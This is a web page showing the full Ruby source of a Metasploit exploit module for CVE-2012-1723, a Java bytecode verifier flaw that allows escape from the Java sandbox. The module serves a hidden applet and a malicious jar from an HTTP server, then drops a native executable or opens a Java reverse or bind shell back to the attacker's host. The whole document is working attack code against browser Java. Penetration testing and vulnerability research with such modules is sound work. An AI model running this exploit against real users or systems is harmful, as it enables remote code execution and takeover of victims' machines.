Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_verifier_field_access.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314def initialize( info = {} )15super( update_info( info,16'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',17'Description' => %q{18This module exploits a vulnerability in HotSpot bytecode verifier where an invalid19optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient20type checks. This allows a way to escape the JRE sandbox, and load additional classes21in order to perform malicious operations.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Stefan Cornelius', # Discoverer27'mihi', # Vuln analysis28'littlelightlittlefire', # metasploit module29'juan vazquez', # merged code (overlapped)30'sinn3r' # merged code (overlapped)31],32'References' =>33[34['CVE', '2012-1723'],35['OSVDB', '82877'],36['BID', '52161'],37['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],38['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],39['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],40['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],41['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']42],43'Platform' => %w{ java linux osx solaris win },44'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },45'Targets' =>46[47[ 'Generic (Java Payload)',48{49'Platform' => ['java'],50'Arch' => ARCH_JAVA51}52],53[ 'Windows x86 (Native Payload)',54{55'Platform' => 'win',56'Arch' => ARCH_X8657}58],59[ 'Mac OS X PPC (Native Payload)',60{61'Platform' => 'osx',62'Arch' => ARCH_PPC63}64],65[ 'Mac OS X x86 (Native Payload)',66{67'Platform' => 'osx',68'Arch' => ARCH_X8669}70],71[ 'Linux x86 (Native Payload)',72{73'Platform' => 'linux',74'Arch' => ARCH_X8675}76],77],78'DefaultTarget' => 0,79'DisclosureDate' => '2012-06-06'80))81end828384def exploit85# load the static jar file86path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-1723.jar" )87fd = File.open( path, "rb" )88@jar_data = fd.read(fd.stat.size)89fd.close9091super92end939495def on_request_uri( cli, request )96data = ""97host = ""98port = ""99100if not request.uri.match(/\.jar$/i)101if not request.uri.match(/\/$/)102send_redirect( cli, get_resource() + '/', '')103return104end105106print_status("Sending #{self.name}")107108payload = regenerate_payload( cli )109if not payload110print_error("Failed to generate the payload." )111return112end113114if target.name == 'Generic (Java Payload)'115if datastore['LHOST']116jar = payload.encoded117host = datastore['LHOST']118port = datastore['LPORT']119vprint_status("Sending java reverse shell")120else121port = datastore['LPORT']122host = cli.peerhost123vprint_status( "Java bind shell" )124end125if jar126print_status( "Generated jar to drop (#{jar.length} bytes)." )127jar = Rex::Text.to_hex( jar, prefix="" )128else129print_error("Failed to generate the executable." )130return131end132else133134# NOTE: The EXE mixin automagically handles detection of arch/platform135data = generate_payload_exe136137print_status("Generated executable to drop (#{data.length} bytes)." )138data = Rex::Text.to_hex( data, prefix="" )139140end141142send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )143return144end145146print_status("Sending jar")147send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )148149handler( cli )150end151152def generate_html( data, jar, host, port )153jar_name = rand_text_alpha(rand(6)+3) + ".jar"154155html = "<html><head></head>"156html += "<body>"157html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"158html += "<param name=\"data\" value=\"#{data}\"/>" if data159html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar160html += "<param name=\"lhost\" value=\"#{host}\"/>" if host161html += "</applet></body></html>"162return html163end164165def generate_jar()166@jar_data167end168end169170171172